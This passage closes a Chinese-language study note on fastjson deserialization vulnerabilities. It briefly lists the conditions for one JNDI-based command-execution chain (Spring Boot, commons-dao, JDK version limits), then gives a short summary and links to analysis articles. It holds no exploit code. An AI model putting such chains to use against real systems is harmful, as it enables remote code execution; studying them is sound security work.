- 需要springboot环境、commons-dao组件
- 利用jndi执行命令,受JDK版本限制
调试分析
暂无
小结
挠头,fastjson这么多利用,给我语雀都整卡了= =
参考链接
fastjson反序列化 漏洞分析文章
1.2.48之后的利用@mi1k7ea
mi1k7ea师傅的fastjson漏洞分析系列 很详细适合学习
su18师傅 比上一个简略
https://tttang.com/archive/1579/
https://xz.aliyun.com/t/12096
关闭ASM开关,方便进行调试
https://blog.csdn.net/qq_45854465/article/details/120960671
ASM动态加载相关,如何查看内存生成的类的源码
https://juejin.cn/post/6974566732224528392#heading-6
https://blog.csdn.net/wjy160925/article/details/85288569
toJSONString()方法的源码分析(较浅)
https://blog.csdn.net/qq_31615049/article/details/85013129